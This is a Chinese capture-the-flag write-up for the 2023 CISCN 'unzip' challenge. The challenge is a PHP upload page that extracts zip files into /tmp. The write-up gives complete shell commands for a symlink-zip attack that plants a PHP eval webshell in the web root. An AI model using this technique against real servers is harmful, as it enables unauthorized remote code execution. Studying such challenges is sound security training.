2023CISCN初赛unzip

2023CISCN初赛unzip

随便上传一个文件,会自动跳转到uplaod.php目录下,源码如下:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!

可以看到验证文件MIME类型,需要上传zip文件。然后进入到tmp目录下,调用unzip命令进行解压。

解题思路:

这里可以思考将文件马写到zip压缩包中,但是在linux系统中,如果使用apache服务器,默认的网站web根目录是/var/www/html,而马却在tmp目录下,无法访问。

想要实现目录跳转,可以使用软连接,使/tmp目录下的link与网站根目录/var/www/html建立软链接

bash 复制代码
#创建一个文件夹aaa进入其中,将该文件夹与/var/www/html目录进行软连接
ln -s /var/www/html slink
  • 当前目录下会出现一个名为 slink 的符号链接。
  • 当你访问 slink,系统会将操作重定向到 /var/www/html。假设 /var/www/html 下有一个文件 index.html,执行命令后,通过 link/index.html 就可以访问该文件。
bash 复制代码
#生成一个压缩包slink.zip里面包含slink文件
zip --symlink slink.zip slink

此时aaa文件夹下已经有了slink和slink.zip两个文件。然后删除slink文件,建立一个文件夹名为slink。进入到slink文件夹下。

bash 复制代码
#写一个一句话木马,注意这里要使用单引号,如何使用双引号会把$_REQUEST当作变量解析,导致缺失
echo '<?php @eval($_REQUEST[1]);?>' >>shell.php

然后返回上一级目录,将slink文件夹压缩,保存为slink2.zip文件

bash 复制代码
zip -r slink2.zip ./slink/*

此时该文件夹下有两个zip文件

bash 复制代码
├── slink.zip
│   └── slink
├── slink2.zip
	└── shell.php

先上传slink.zip,再上传slink2.zip。之后用蚁剑链接或者命令执行即可。

命令汇总:

bash 复制代码
root@VM-4-17-ubuntu:/home/ubuntu# mkdir aaa
root@VM-4-17-ubuntu:/home/ubuntu# cd aaa
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ln -s /var/www/html slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip --symlink slink.zip slink
  adding: slink (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# rm -rf slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# mkdir slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# cd slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# echo '<?php @eval($_REQUEST[1]);?>' >>shell.php
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# cd ../
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip -r slink2.zip ./slink/*
  adding: slink/shell.php (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink2.zip  slink.zip

相关推荐
白小沫24 分钟前
TortoiseSVN是什么?
学习
weixin_4514315643 分钟前
【学习笔记】微博视频页面ajax请求与响应数据分析
笔记·学习·音视频
清辞8532 小时前
尾盘选股法程序开发学习初期
学习
Century_Dragon2 小时前
让实训“活”起来——信息化综合实训考核平台助力汽车专业教学
学习
nashane3 小时前
HarmonyOS 6学习:PanGesture手势驱动月亮半圆轨迹“滚动”术
学习·harmonyos 5
叶~小兮3 小时前
K8S进阶核心综合学习笔记(持久化存储+特殊容器+调度管理)
笔记·学习·kubernetes
li星野3 小时前
位运算 & 数学 & 高频进阶九题通关(Python + C++)
c++·python·学习·算法
y = xⁿ5 小时前
Java并发八股学习日记
java·开发语言·学习
@codercjw6 小时前
工程图制图经验
学习
星幻元宇VR6 小时前
VR文旅大空间|沉浸式体验重塑文旅新场景
科技·学习·安全·vr·虚拟现实